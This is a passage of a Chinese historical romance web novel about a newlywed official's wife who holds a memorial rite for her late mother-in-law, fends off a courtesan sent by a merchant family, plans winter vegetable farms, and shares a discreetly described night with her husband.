“素白绞香烛十二对,供花菊十二对,重阳糕二十碟,手抄地藏经八本,锡箔素纸折银莲六十六朵。”银屏念着单子。 沈云楹今儿穿藕荷色襦裙,外罩竹青色披风,头上不带珠翠,只簪白玉竹节簪和木纹钗,她边听边站起身,最后系上茱萸香囊。 确认单子没错,她的打扮也没错,当即领着银屏银筝出门。 燕培风一身靛蓝色直缀,束发的玉冠换成木冠,不减清贵,更增一分返璞归真的朴素感。 灵城寺在京郊,重阳日到城外的人多,从公主府出发,足足走了一个时辰才到。 因为提前预约,燕家的马车刚到灵城寺门口,就有接待的小沙弥上前,“敢问是燕施主与沈施主吗?” 小沙弥看着七八岁,稚童声音清脆,手执佛礼,两眼亮晶晶地看着从马车下来的燕培风和沈云楹二人。 “正是我家老爷和夫人。”银筝上前应答,“我们早早定了法事,劳烦小师傅带路。” 小沙弥点点头,他知道的,师傅派他接人时就说过,于是他扬起脸,正经道:“阿弥陀佛,小僧知道。几位施主随小僧来。” 灵城寺建在山脚下,走过两段阶梯,就到寺门口。 沈云楹和燕培风并肩而行,跟着小沙弥进到侧殿,里面供着地藏王菩萨,已有六位大师跪坐于蒲团上,显然是等着他们一来,就正式开始法事。 银屏和银筝将从公主府带出来的东西一一递给小沙弥。 燕培风看到东西一一摆上供桌,低声道:“多谢夫人。” 用不用心,一眼就能看出来。 地藏经的笔记是沈云楹的,抄满八本,沈云楹这段时间定是天天都在抄经。还有锡箔素纸折银莲,不是规规整整的形状,看得出是生手。应该是沈云楹亲手做的, 燕培风自己也抄了经文,这是历年的习惯。但不如沈云楹细心周到,供花、重阳糕、银莲这些全都自备。 沈云楹轻轻摇头,“这是我对母亲的孝心。” 燕培风心下熨帖,不再说话。 夫妻二人跪在蒲团上,三跪三拜。起身后,燕培风问过小沙弥法事念经的事宜,两人一问一答,沈云楹在一边听着到他要求《报父母恩咒》加念到四十九遍。 沈云楹不通佛经,只知道比较知名的罚抄两大经文,金刚经和地藏经。便没留在殿内,去外面透透气。 刚出来,远远的就看到后山一片银杏林,金黄灿烂,犹如金粉洒满那一片山。 忽然一群飞雁掠过殿宇,是南迁的雁阵。 难得出门一趟,沈云楹觉得外面天高气爽,若不是碰上长公主的忌日,她一定去爬山观赏。燕培风瞧着和往日无异,但是她能感受到他的心情不甚好。 沈云楹正遗憾呢,身后就传来燕培风的声音,“银杏开得正好,山顶还有茱萸。我们去看看?” 燕培风的视线从沈云楹腰间的茱萸囊扫过,凤眸黯淡一瞬,立即恢复平和。 沈云楹惊讶回头,想着燕培风可能想散散心,应道:“好啊。” 第54章 送人 银杏黄时满地金, 金叶随风似碟飞。 灵城寺后山的银杏林闻名周边,又逢重阳节,游人甚众。上山路上, 一直有欢笑声。 沈云楹不着痕迹去看燕培风,他眉眼温和, 只是沉默着往前走。沈云楹便安静地跟上去。 石阶宽敞平坦, 山坡不高, 倒不觉得很累。等到山顶,景色骤然一变。野茱萸结出红果, 拇指大的果子,红彤彤的,绕着歇脚的亭子长满一片。 生机勃勃。 燕培风负手立在亭前,青衫独立, 阳光穿过茱萸细碎的枝叶洒在他沉静的面容上。 在安静陪人这一块,沈云楹绝对优秀。 野茱萸旺盛的生机让她眼前一亮。沈云楹以前只在自家的圆肚花瓶中见过茱萸,野生的还是第一次见, 看得很认真。 沈云楹摘下腰间的香囊,这个香囊是银屏的手艺, 上头绣着六个堆叠在一块儿的山茱萸果。跟眼前真实的山茱萸果子比起来毫不逊色。 她在心里暗赞银屏的女红真好。 沈云楹手里把玩着茱萸香囊,燕培风转过身来, 视线随着那香囊移动,柔声道:“有劳夫人陪我一路。” 沈云楹展颜一笑,“没什么。上山的风景不错。” “母亲去世前,曾亲手给我绣过一个茱萸香囊。” 可能知道自己命不久矣,嘉荣长公主坚持着给亲生儿子最朴素的祝福,身体康健、长命百岁。燕培风没有戴在身上,现在被仔细保存起来。 燕培风声音带着一丝感伤, 沈云楹摇晃香囊的手一顿,抬眸看着他。沈云楹忽然想起眼前这个男人,他十岁出头,父亲救驾重伤,母亲身体娇弱,一心扑在丈夫身上。那时开始,他几乎就住在皇宫,偶尔才回公主府。 有父母只比没有强一点。 有点可怜。 沈云楹站起身,走下亭子,摘下几段山茱萸果枝,温声道:“我女红不行,折花环的手艺还可以。” 不一会儿就捏出粗略的花环,又取出五色丝绦,交缠在其间,既固定又美观。 一个茱萸佩成形。 重阳节的习俗之一,做茱萸佩,男子佩于臂,女子斜插鬓边。 沈云楹伸手递给燕培风。她对自己的手艺挺满意,去年练成的技能没落下。 燕培风朝沈云楹抬手,却不接,长眉微挑,双眸流露出的意思很明显。 要沈云楹帮他戴上。 行吧。沈云楹往前迈两步,亲自为燕培风系好。 “好了,”沈云楹后退一步,扬声道:“等法事结束,我们带来的重阳糕散给寺庙的慈幼院吧?” 灵城寺秉持悲天悯人的佛法教诲,寺庙边上建了一所慈幼院,收容周边的孤儿。 燕培风自然应允。 灵城寺之行就这么结束。回城的车马仍然多,燕家回程早,路上不拥堵,申时便回到公主府。 沈云楹刚踏入铮然居就看到留守的丫鬟神色有些着急慌张,随口问:“府里出了什么事儿?” 府里的两个主子都出门了,沈云楹实在想不出能发生什么大事。 丫鬟欲言又止,看了看沈云楹又低下头去,只双手递上一张单子,“夫人,这是唐家送来的节礼。” 沈云楹奇怪地接下,哪有正日子送节礼的,唐家要做什么? 一打开折起来的单子,沈云楹不禁睁大双眸,里面夹着一张卖身契。 “现在人在哪儿?”沈云楹抽出卖身契,搁在案桌。 刚了解完情况的银屏回来了,“夫人,那位杜姑娘还在侧门,没您的话,门房不敢让她进门。” 沈云楹想了想,这事儿还是让燕培风自个儿处置吧。 “燕培风还在前院吗?” 银屏点头,“老爷一回来就去了书房,没出出府。” 沈云楹放心了,吩咐:“既是送给夫君的,那就领到前院去,由夫君处置。把这单子连卖身契一块带过去。” 银屏张了张嘴,正要劝说两句,哪知刚开了个头,就被沈云楹阻止,“银屏你亲自带杜姑娘去。放心等着吧。” “奴婢遵命。”银屏福身,听命去办。 等人出去,沈云楹才坐下喝口热茶,她万万没想到第一个往燕家后宅塞人的不是皇上皇后,也不是燕家祖父母,竟然是前来巴结的皇商唐家。 要巴结人,你好歹投其所好啊。 就燕培风那副清心寡欲的样子,你帮着疏通官位都比送美人靠谱? 沈云楹琢磨了一下原因,“难道那位唐夫人不会听说我吹不动枕头风,这才送人来?” “要不就是燕培风拒绝了他家的投靠,想通过女人说服他?” 银筝凑过来小声道:“可能是?听门房的描述,那位杜姑娘坐着一顶小轿来的,声音娇柔婉转,身姿婀娜,是个难得的美人儿。” 沈云楹非常赞同,“要是不出色,怎么会送来?”唐家好歹是大皇商,见过世面的。 不过,沈云楹猜,以燕培风的克制,今日又是长公主忌日,不管怎么样,这位杜姑娘都不会进门的。 果然,银屏锁着眉头出去,笑吟吟的回来,“夫人,老爷把人打发走了,还斥责了一顿门房。咱们门前不是什么人都能站着的!” 沈云楹点点头,好奇问:“你瞧见人长什么模样没有?” 银屏撇撇嘴,想着词语形容,“妖娆娇俏,人比较瘦,走起路来就像风中的柳叶,袅袅婷婷的。” “京城有名的头牌,有叫杜冰淼的吗?”京城高端的花楼头牌,个个名气响亮,沈云楹就是在闺阁中都有听过那几个人的名声。但是她不记得有听过杜冰淼的名字。 银屏和银筝对视一眼,纷纷摇头,她们也没听说过。 沈云楹疑惑了,按照唐家上次阔绰的做派,竟送个无名之辈? 她好奇心起,忙吩咐银筝出去打听一下,“卖身契特意写了是清倌,擅琴棋书画,你只管去大花楼问问。” 银筝得了令,立时出去。 银屏暗道夫人还是有心机的。她不催促沈云楹和燕培风增进感情,但要是后院来了那么一位妖妖娆娆的厉害角色,对沈云楹是大大的不利。 幸好,幸好。 银屏关心道:“夫人,要不要吩咐厨房传膳?” “嗯,送素斋过来。”沈云楹今日吃素,“前院那里,也做素菜。” 有福同享,有难同当。她为嘉荣长公主茹素,燕培风身为人子,更要吃素了。 沈云楹在琢磨夫妻二人的素菜,公主府门口被退货的杜冰淼望着被大力关上的朱红色侧门,此时面色通红,又羞又恼,一转身进轿子,只能先回去唐家了! 唐家不贵但富,在京城有一所五进的宅邸,装饰的富丽堂皇。唐家现任二把手唐嘉越,正在书房红袖添香,算着今年的利润,忽听小厮来报,杜冰淼又回来了。 唐嘉越粗眉一皱,不可置信,“杜冰淼都被退回来了?她人呢?” 不待小厮回话,杜冰淼满脸羞愤的走进书房,福了福身,细声细气道:“唐老爷,恕我无能为力。” 美人动作行云流水,自带芊芊弱质的气息,看得唐嘉越身边的两位姨娘心头发紧,就怕唐嘉越见色起意。 然而唐嘉越能做到唐家二把手,再过几年就能接他父亲的班,这点抵抗力还是有的。 他能亲手送唐家栽培多年的杜冰淼给燕培风,就不是色迷心窍之人。 唐嘉越摆摆手,让两位姨娘退下,只留杜冰淼说话。 “怎么回事?你没见到人?” 唐嘉越的声音不高不低,脸上不见怒气,但是心中已然有了怒意。不是针对燕培风,而是杜冰淼。 杜冰淼是唐家培养多年的女子之一,从三四岁就开始调教,琴棋书画,舞蹈身段,如何伺候男人。学了这么多年,杜冰淼连燕家的大门都进不去? 杜冰淼低头道:“奴婢蒲柳之姿,燕大人看不上。” 她心知自己还没发挥作用,倒不是很怕被唐嘉越舍弃。只是不舍得燕培风这位年轻有前途的依靠,又不甘心第一次办事就被人嫌弃。 唐嘉越拧眉沉思,燕培风拒绝了与唐家合作,可是他并不死心。 想说服一个男人,无非权势、财富和女人。 他唐家能给燕培风财富和女人,有了这两样,燕培风还愁握不住权势吗? 况且唐嘉越见燕培风年轻气盛,又是新婚不久,后宅只有一个女人。从外面打听来的消息,沈家三姑娘不学无术,想必不合燕培风的胃口。 杜冰淼就是按照文人喜好培养出来的姑娘。 怎么会才出马就失利? 带着绿扳指的食指轻轻扣着案桌,唐嘉越越想越是不舒服,就是看不上杜冰淼,难道也看不上唐家? 送个孝敬都被拒绝。连人带礼单都被退回来。 莫非燕培风以为唐家只能依靠他不成? 当然不是。 刚到门外的唐夫人立即给唐嘉越带来第二个选择。 “夫君,听说你送去燕家的人没能进门?”唐夫人脸上挂着温柔的笑,缓缓进屋,“我之前就跟你说,太着急了,行不通。燕夫人我见过,那就是一位艳若桃李的美人,他们又是新婚。新鲜劲都没过呢,暂且瞧不上别人。” 被自家夫人下面子,唐嘉越有一丝不愉,冷声道:“试试而已,不成就罢了。” 唐夫人轻笑一声,抛出新的话题,“夫君,我今儿寻到一条新的门路。户部侍郎钱大人家如何?才刚在菊花宴,我同他家夫人甚是投缘。” “钱家?”唐嘉越回忆一遍,“二皇子侧妃的娘家?” 唐夫人笑着点头,“正是。钱大人的亲妹妹就是二皇子侧妃,前阵子刚生下儿子,很是受宠。” “最要紧的是,他家夫人近期手头紧,心里很是愿意这桩买卖。” 能和二皇子搭上线,唐嘉越心里已有三分愿意,一听成事的可能性很大,当即拍板,“你务必促成此事。” 第55章 有价无市 不到一个时辰, 银筝就打听到杜冰淼的底细。 “咱们的人走遍了醉仙居、掩月楼,怡红院,全都没有杜冰淼这个人儿。后来收买看门的小厮, 才知道还有一个雅趣之地,叫莳花馆。”银筝有种获得新知识的兴奋, “莳花馆里头全是卖艺不卖身的姑娘, 听说那里的姑娘琴棋书画, 必有一项特长。” 沈云楹思考莳花馆的名字,“这名字取的文雅。”可惜, 不是个好地方。 女子如精心呵护的花卉,男子去赏花品花。 唐家的确花了心思,专门从这儿挑姑娘送人。 银筝低声道:“像杜冰淼这般,有名声, 还没开始接客的清倌姑娘,赎身最少也要一千两银子。” 沈云楹吸一口凉气,好贵。 “杜冰淼从莳花馆脱身, 没能进府,是不是回唐家了?”沈云楹想到这里, “唐夫人搬起石头打自己的脚?” 银屏亲自去侧门退人的,“她们离开时, 说的是回唐府。” 沈云楹嗯一声,这事就此揭过。晚膳端上来,沈云楹就去餐桌用饭。 门外传来响动,沈云楹侧头一看,燕培风转过珠帘,步履端方,行走间衣袂微扬。 她咽下最后一个芋头马蹄素饺子, 意外问:“夫君怎么来了?” 说着起身净手,丫鬟进来撤走碗碟,沈云楹亲手为燕培风倒茶,再饮一口备好的桂花乌龙,甘甜解腻。 燕培风目不转睛地盯着沈云楹,她好像丝毫没受影响,连晚膳都没耽误。 后院安稳如初,燕培风自觉应当高兴。那么,心里隐隐生出的不甘、疑惑、恼意,想赶到铮然居的念头,又是为了什么? 燕培风思绪起伏只在片刻,他的嗓音不疾不徐,温声嘱咐:“我没答应唐家,本以为过去了,不想唐家还没死心。若是他家还纠缠,你只管推了。” 沈云楹不疑有他,点头应下,拒绝人的事,她只需交代门房一声即可。 她观燕培风的神色,比在灵城寺的时候好多了。正巧她也有一件事要与燕培风商量。 趁着燕培风喝茶的间隙,沈云楹去炕上拿过一纸章程。 “我预备在温泉庄子种蔬菜,到冬日能供自家,送礼也合适。”沈云楹把章程递过去给燕培风。 这份章程是沈云楹和银屏拟出来的,万事俱备,只差燕培风点头。 沈云楹突然想起忘了征询燕培风的意见,笑问:“你想吃什么菜?庄子有你的一半。” 冬日蔬菜难得,去年蒋文笙终于淘换到一个带温泉的小庄子。然而种出来的青菜本就少,静远斋还只能留下四分之一,只能打打牙祭。 沈云楹惦记着冬日新鲜蔬菜的滋味儿,今年可好,燕家有一处温泉庄子,沈云楹自己的嫁妆也有一处。地方一定够。 燕培风扫视过去,章程有模有样,温泉附近屋子或扩建或合并,每间屋子种什么菜,何人照看,写得条理分明。 燕培风略一颔首,“我在西岭山有一处温泉庄子,比这两处大,等会儿我吩咐思齐送地契和账册来,也照着你这个章程种蔬菜。” “给我你的私房?”沈云楹惊讶看他一眼,西岭山,大半地方都是皇庄,燕培风手里的,应该是嘉荣长公主的嫁妆。 到现在为止,沈云楹只管着燕家的公中资产和她自己的陪嫁。 燕培风眸中染笑,不在意道:“不过一处庄子,送你。” 燕培风随手就给一个大皇庄,他的私房真丰厚。沈云楹羡慕了。但一想到皇庄归自己,脸上忍不住漾开笑意。 “那你说说想吃什么,我给你记下。”沈云楹一说,银筝就有眼色地送上笔墨。 燕培风唇角微扬,沈云楹在认真规划过日子,做的全是他不曾留意的后宅小事,可瞧着她兴致勃勃的模样,燕培风跟着兴起,讨论着:“冬日菠菜和茄瓜最适宜。” 沈云楹点点头,这两样是时令菜,“还有呢?”在温泉庄子种的,当然要选外头吃不到的,温泉地热,能种些夏日的蔬菜。 两人有商有量,最后以清脆爽口为标准,定下滑菜、菘菜、菠菜、油菜,另有茄瓜三样。 翌日燕培风早早去上朝,思齐偷摸留意燕培风的面色,见人神清气朗,听得吩咐去前院书房取来皇庄地契,不由佩服燕培风大方,安抚夫人有手段。 他爹每次都是拿攒起来的私房钱哄她娘,两口子才能床头吵架床尾和。 自家主子无师自通学会了这招啊。 昨日他亲眼见着银屏领着一位袅袅婷婷的姑娘来找燕培风,心都快跳到喉咙口。后来又夫人让人去打听杜姑娘的来历,思齐还愁了一夜,想着夫人可能生气,万一主子和夫人闹别扭,他们做下人难免提心吊胆。 路过长安大街,思齐想了想,上前献殷勤:“主子,前几日凌家出海的船队回京,海物斋上了许多舶来品,您要不要去买两样?” 凌家每年都会派船队出海经商,带回来很多新鲜的海外物品,非常受京城权贵欢迎,往往有价无市。 燕培风睨了思齐一眼,看看天色,既不是大小朝会,晚一些无碍。他抬手撩起马车布帘,凌家最大的铺子海物斋就在长安大街。 于是,沈云楹刚用完早膳,就听到丫鬟来禀,思齐求见。 沈云楹忙让人进来,思齐快步进屋,乐呵呵地道:“夫人,老爷体谅您在后院辛苦操持,今儿一出门特意去海物斋给您买几样解闷的物什。” 沈云楹杏眸眨了又眨,燕培风这是感谢她操办温泉庄子种蔬菜的事儿?燕培风这么重视吗?昨夜没看出来啊。 看来她得更用心。 思齐还在继续说:“今儿户部尚书下令,要抓紧时间核算各地秋税,几位大人都歇在班房,主子不想显得个别。跟着留下来。” “府里一应诸事,劳烦夫人操心。” 一大早的,就有礼物收,谁不高兴呢? 沈云楹含笑道:“应当的,我不过尽本分。夫君太客气了。”她又问:“夫君要留在衙门,御寒提神的东西收拾没有?日常用具呢?还有值夜杂役的赏钱,都得备上。” 思齐咧嘴一笑,“奴才粗手粗脚的,还得夫人准备好,奴才好带去户部。” 沈云楹来不及查看海物斋的匣子里装的什么礼,就领着人先给燕培风收拾简单的行囊。 等空闲下来,沈云楹让人搬两个匣子到里间,第一个匣子重,沈云楹先打开它,入眼是一幅画,底下装着上千片硬木薄片,木片上画着异域风情的街道和人物。 原来是拼图。对照着原画,用木片拼凑出一幅完整的码头街景图。 沈云楹粗粗一看,木片整整齐齐堆垒满匣,少说有几百片。还真是打发时间解闷用的东西。 沈云楹再打开第二个,是两本海外游记。沈云楹又惊又喜,她喜欢这个。海外地域游记难得,她从没在书肆看到过。 沈云楹欢喜得眸光潋滟,立即给这两样东西挪位置,“游记就放在书架第二层,我躺在矮榻也能拿。”伸手就够着,“拼图就放那儿,等天冷了闷在屋里再玩。” 银屏高兴的应承,“奴婢这就去放。” 银筝则搬起木片拼图,放到炕边,往墙边塞一塞,不多占地方。 今年天冷的早,刚入十月,就降下初雪,沈云楹让三个庄子管事留心蔬菜,别出岔子。 又过一个月,第一茬蔬菜终于成熟,庄子派人送到公主府,让主子们尝鲜。 沈云楹这段时日过得极舒服,燕培风埋头公事,遵循初一十五来后院,对她的约束极少。 逢初十,沈云楹回太师府探望蒋文笙,母女两个养成默契,就定这个日子见面。 还有一件要事,陈太医要给沈云楹更换养身药方,还说冬日进补最好,药补不如食补。他依然开了两张药方,但其中一张变成了药膳方子。 燕培风召回来的药膳厨娘终于派上用场。 这日雪止天晴,霁色浮光。 沈云楹待在书房,她难得有兴致,亲手描绘一副九九消寒图,朵朵梅花绽放,白梅清雅,错落有致。 她还没停笔,银筝就夸赞:“等染成红梅,比真的红梅还要好看。真该让大姑娘和二姑娘瞧瞧,夫人画得不必她们差!” 沈云楹莞尔,“我还是有自知之明的。” 银筝的糖衣炮弹没有遮蔽沈云楹的眼睛。 她这幅工笔写意,勉勉强强能入眼。沈云芝的才女之名是凭真本事得到的,沈云蔓最擅画,三姐妹中,客观主观上,沈云楹都承认她的画功最差。 “工而不板,刚柔相济。”燕培风的声音突然响在门口,他缓缓走进,点评道:“不待春风,枝头生春。夫人心情很好?” 沈云楹在听到燕培风声音的刹那,立即拉一拉消寒图盖住底下的一小幅画,有点心虚道:“嗯,挺好的。” 下午入书房前,沈云楹的目的是画下盖住的画,心情好了,想到没几天就是冬至,才下笔描消寒图。 “我们今儿吃羊肉锅子怎么样?厨房进了羊羔肉,还有鱼丸、海虾。”沈云楹侧头笑问,接着弯腰徐徐勾勒最后一朵梅花的轮廓。 燕培风来铮然居吃饭次数多了,两人相处愈发自在,沈云楹不耽搁做自己的事。 燕培风步履从容,走到沈云楹身侧,视线落在消寒图上,开口道:“听你的。” 妻子比自己会吃,燕培风又不挑剔,一般都不会有意见。 沈云楹就喜欢这样不扫兴的饭搭子,一收笔,抬眸就笑盈盈道:“我们出去等?” 她想带燕培风出书房。 谁知,燕培风却盯着消寒图道:“夫人还未落款,不添上吗?” 第56章 反馈 被燕培风一提醒, 沈云楹发觉自己急切中忽略了落款的事儿,顺口道:“挂家里的嘛,不用这么讲究。” 燕培风没坚持, 反而道:“挂到我的书房去?” 沈云楹先是一愣,随即点头, “给你书房添点颜色?上次去的时候, 我就觉得你的书房有点老、成持重。” 还好她脑子转得快, 能拐出一个成语来。 书房装饰得跟她祖父沈太师差不多,沈云楹不想怀疑燕培风的品味。但书房这种重要且私人的地方, 除了燕培风,谁能做主? 燕培风低笑一声,“书房是皇上亲自布置的,从他私库拿的摆设。”碰上沈云楹不可思议的眼神, 他补充道:“当时在孝期,尽挑不鲜亮的颜色。” “后来我没改动。” 燕培风唇畔依然挂着浅笑,他没说为何不肯换新。祖父母年迈, 父母去世之后,皇上舅舅就是他心中最亲近的长辈。皇上朝政繁忙, 他也不会因为书房摆设这点小事朝皇上开口。 横竖用了五年,他很习惯。 沈云楹了然, 原来是皇上的审美,那还挺符合他的年纪。 竹帘外头传来银筝的提醒,“夫人,老爷,晚膳到了。” 沈云楹拉住燕培风的胳膊往外走,“来了。多加几盘青菜,”回头笑道:“请燕大人检阅庄子的成果。” 燕培风的视线掠过案桌, 顺着她往外走,“听燕伯说,还有多余的鲜菜送去粮铺售卖?” 沈云楹连连点头,解释道:“三个温泉庄子,尤其是西岭山的庄子很大,鲜菜存放不了多久。你放心,我给宫里、太师府都送过两筐子,老宅那儿的族人也送了一筐去。” “还有你的上官同僚,”这个沈云楹就不知道具体数目,她交代燕管家去办,“还剩不少,我就吩咐人拿去卖。” 粮铺是燕家公中的铺子,赚的钱存入公账。 燕培风微微颔首,这件事燕管家是总揽,跟他说得更详细,赞道:“夫人安排得周全。” “按惯例,外地官员很快就开始送炭敬,我现管着秋税,重礼上门不可避免,我交代燕伯一概收下。那些来求见你的人,你想见就见,不想就推。” 沈云楹知道炭敬的规矩,一听燕培风全收下,还是担心道:“全收下没事?” 她记得太师府是挑拣着收的,从外头流传的消息,那样大概是官员的默契。没听说过谁敢全部收下的。 燕培风镇定摇头,“我在皇上那儿垫了底,这笔钱从十二月底开始拨到城外施粥布衣。燕伯会另造账册,年尾你要多忙一些。” 沈云楹放心了,燕管家肩上添一项重要事务,府里的事就难兼顾。 “我还有杨嬷嬷做帮手,而且银屏也能独当一面。”沈云楹觉得能应付。 热气腾腾的羊肉锅子,鲜嫩肥美,暖胃驱寒,浓香四溢,是冬日的绝配。沈云楹吃得酣畅淋漓。 冬季天黑的早,雪花伴着暮色降临。 饭毕,燕培风忽然说:“冬夜朔风紧,不宜去外面消食。夫人送了九九消寒图,我怎能不回礼?” 燕培风起身进屋书房,沈云楹跟着起身,落后两步,看向银筝,无声地问:“收起来了吗?” 银筝睁着清澈的眼睛,无辜地摇头。 沈云楹回想起走出书房时燕培风一直在和她说话,她压根没有和银筝银屏暗送信息,心下一紧,脚步不停地跟上燕培风。 书房还是之前的样子,没人进来过。 沈云楹一进门,就看到燕培风要拿起案桌上的九九消寒图,她忙三步并两步上前,“我来收,夫君你去择纸吧?” 画纸是一幅画成功的基础。沈云楹自己不挑,但是燕培风是文人,肯定讲究这些。 燕培风手上动作一顿,没掀开消寒图,含笑道:“画要送给夫人,还是夫人去挑。” 沈云楹一噎,想说自己不要什么画。紧张的小眼神对上燕培风似笑非笑的凤眸,沈云楹突然就悟了,“你是故意的?” 说着话,趁燕培风不备,她迅速抽出一张巴掌大的纸张,捏在手里,不让燕培风瞧。 “你表现的太明显,”燕培风都不用花心思,自然而然就知晓,话到一半就见沈云楹动作极快地拿走一张纸,燕培风怔愣片刻,进而更加好奇沈云楹藏了什么。 瞧她的反应,有趣。 “是什么?”燕培风的嗓音一如既往的温和,他侧身正对着沈云楹,悄然迈两步,两人的位置随之变化,他在外,沈云楹一转身,身后就变成案桌。 沈云楹有点不好意思,就是下午无聊时候的消遣,只是一时兴起借用一下燕培风的脸。现下被燕培风这么认真地问,她不由捏紧宣纸,抿唇不语。 眼前的人不动,燕培风就主动出击。可他一伸手,沈云楹下意识往身后藏,燕培风眉梢微动,顺手揽住妻子的纤腰,手指还未碰到纸,又被沈云楹反手拍在案桌上。 “不是要紧东西,”两人的距离靠得太近,沈云楹慌忙解释,“随手画的,没什么好看的。” 松针的香气侵入鼻间,两人很久这么亲近,沈云楹面颊泛起红晕,一低头,圆润的杏眸盯着燕培风胸前的祥云蝙蝠纹样。 书房烧着没有烟气的红罗炭,沈云楹还在边上放了一颗柑橘,微甜的香气与沈云楹发间的栀子香气混在一起,反而生出一股别样的清香。 燕培风突然冒出一个念头,陈太医在三天前换药方了,所以此时两人可以行敦伦之事。心底一转,他不是数着这种日子,只是关心沈云楹的身体罢了。 沈云楹等了一会儿,燕培风停下动作,可又不说话,她诧异地抬眸去看,恰好落入一双深潭般的双眸,下一刻水面波澜乍生。 沈云楹怔住,这,形势转变得太快。她眼睁睁看着燕培风从袖中取出一枚荷包,倒出薄如蝉翼的东西,用他淡定和煦的声音介绍:“这是太医院的,这个从海物斋买的。我们试试琉哪款璃鱼儿更好用。” 话音落,一双有力的胳膊抱起沈云楹,木质的案桌带着凉气,沈云楹抓住他的胳膊,轻声道:“冷。” 燕培风右手捞起一个琉璃鱼儿,再次抱起人往边上的美人榻走去。 沈云楹现在就是后悔,书房是学习的之地,她就不应该放一张宽大的美人榻! 金钗落,云鬓松,鸳鸯交颈,翡翠合笼。 有过鱼水皆欢的经验,按照燕培风的习惯,这次更要精益求精。不仅要复习,还有开发新姿势。这也就罢了,他还要反馈! 沈云楹满面羞红,节节败退。 等用完荷包中的两款琉璃鱼儿,燕培风才抱着沈云楹回到寝间床榻,临睡前沈云楹发现他手里竟然拿着那张小画看。 沈云楹累了,既然燕培风想看就看吧。 燕培风难得眨眼,图画依然在眼前,他将画放到沈云楹眼前,右手摸上她柔软的耳垂,轻轻摩挲两下,哑声笑道:“画就画了,有什么好藏的。” 沈云楹看着画中跪在雪地上求原谅的小人儿,不好意思笑笑,解释这幅画的由来。她看的话本最新一节,状元跪在冰天雪地中三天三夜,求原配发妻原谅,她觉得解气。 她的声音又轻又柔,带着倦意,“我这不是只认识你一个状元郎吗?” 燕培风闷笑一声,沈云楹既是夸他,又寻出一个合理理由,他哪里还能计较。 “睡吧。”燕培风抱紧怀中人,柔声道。 沈云楹早有困意,听到燕培风不介意便枕着他的胳膊沉沉睡去。 第57章 食髓知味 本朝规矩, 五品以上列席朝会。燕培风卡在六品,没有皇帝钦点,无需参加。但每日点卯是不能缺的。 第二日天际未明, 燕培风就得起身,赶着去户部点卯。 他睡在外侧, 轻轻挪开沈云楹的脑袋, 伸展一下有些麻的胳膊, 利索下床。 动作再轻,洗漱穿衣的声响还是惊醒沈云楹。她迷糊睁眼, 冬日的床帐厚实,依稀能看到燕培风的背影,他正在亲手束腰带。 燕培风不喜小厮丫鬟近身伺候,这些活都是他自己做。 见他穿好交领右衩织锦直缀, 往架子边走去,那儿挂着深青毛呢狐裘鹤氅。忽然,燕培风转身来到床边, 和沈云楹隔帐相望。 方才燕培风就觉得有人盯着自己,转身一看, 沈云楹果然醒了。 沈云楹哪儿知道燕培风这么敏锐,无辜地眨眨眼, 双手拎了拎被子。把头往下一缩,露出一双圆润的杏眸。 燕培风哂笑,掀起床帐,伸手进来,沈云楹眼见那双清瘦有力的手就要摸到自己的头,忙闪向一侧,却听到男人的笑声变高, 昨夜的那副小画正捏在他手里。 暖和的睡了一夜,沈云楹面庞白里透红,这会儿更是浑身发烫,她刚刚还以为燕培风要摸她脑袋。沈云楹怀疑燕培风是故意的,抬眸嗔他一眼。 燕培风笑道:“夫人第一次为我作画。”扬了扬手里的纸,“我也带走了。” 沈云楹摆摆手,催促道:“走吧走吧,再不出门就来不及点卯了。” 床上的人儿面色酡红,被赶了燕培风依然笑意不减,只是临走前,他倾身凑近,压低声音:“有道是温故而知新,明晚为夫再来。” 现下他有点理解为何有些男人会沉溺床笫之事,果真食髓知味,令人沉醉。 沈云楹瞬间忆起昨夜燕培风的胡言乱语。两人回顾上次的姿势,燕培风还要问她对不对,他的记性好,可沈云楹忘得差不多了,哪里还记得? 沈云楹甚至有种错觉,以前被燕培风一副光风霁月的做派忽悠住,看错了他。燕培风根本就不是清心寡欲的人儿! 沈云楹立即一脸正气地拒绝:“燕培风,君子一诺千金!” 你自己说的,初一十五来后院。明儿燕培风要是敢来,她就拿新婚夜那张时刻表贴在正屋门口。 燕培风朗声一笑,转身出门。 沈云楹直起身,怎么不给个准话就走了?燕培风刚出门,银筝抬脚进屋,不确定地问:“夫人,要起吗?” 屋内暖和,沈云楹下床开一点窗户。外面铺了一层厚厚的雪,银白素裹,烛火下泛着冷光,像是天亮了一样。燕培风背影挺秀颀长,如雪中青松,逐渐消失在院门口。 “还早呢,辰时再来叫我。”沈云楹三两步回床榻,蜷缩进温暖的被窝。 银筝应下。 沈云楹又问:“马车里备着手笼了?” “放进去啦,还是上等貂皮那副。”银筝脆声道。入冬后,沈云楹就吩咐人做了好些手笼和手炉,轮着用。 明天就放白铜镂空博古纹六角炉,纹样古朴端方,正适合老爷。 沈云楹嗯一声,开始睡回笼觉。 直到日上三竿,沈云楹醒来,用过早膳。 银屏就进屋禀报:“夫人,今日一早就人打着送炭敬的名义来投帖子,在侧门排了十几个人,管家亲自招待他们。”又放下一叠帖子,“这是昨日给您的邀约。” 沈云楹问:“有没有是要紧的?” 银屏道:“前面三张是贤王府、湘仪公主府和承恩公府。”这些帖子银屏都先看过一遍。 这三家既和皇家相关,又与燕培风关系不错,她亲自回帖子。其他的就由底下人纸笔。 午时,没那么冷,沈云楹领着银屏银筝堆六个小雪人,用树枝、萝卜和栗子装饰,并排在庭院,看着挺讨喜。 小小运动过后,沈云楹继续猫冬,在暖炕上看看话本,喝热杏仁乳酪饮子。 快到下值的时间,沈云楹给门房留话,要是燕培风回府就及时往后院通报。 然而眼看就要宵禁,燕培风还未回府,沈云楹刚要打发人去户部衙门问,可巧思齐就回来了。 “夫人,主子刚从户部出来,就有宫里的太监来找,说皇上龙体不适,宣老爷进宫。皇上留人,今夜就留宿宫中。主子吩咐奴才说一声,让您放心。” 沈云楹忙问:“皇上怎么样?”见思齐皱着眉毛不答话,忽然反应过来不能窥伺圣体,就道:“算了,我知道不能透露。” “那你是留在府里,还是再进宫?’ 思齐弯腰道:“奴才哪儿有福分住在宫里,主子吩咐奴才明日一早在宫门口等。” 沈云楹点头,“你辛苦了,厨房还有热汤,银屏,给思齐盛一碗。喝完再下去歇着吧。” 等汤婆子把床烘得暖呼呼的,沈云楹才上去,临睡前,沈云楹感叹,汤婆子到底是死物,不如人热乎舒坦。 冬至这日,清光湛湛。 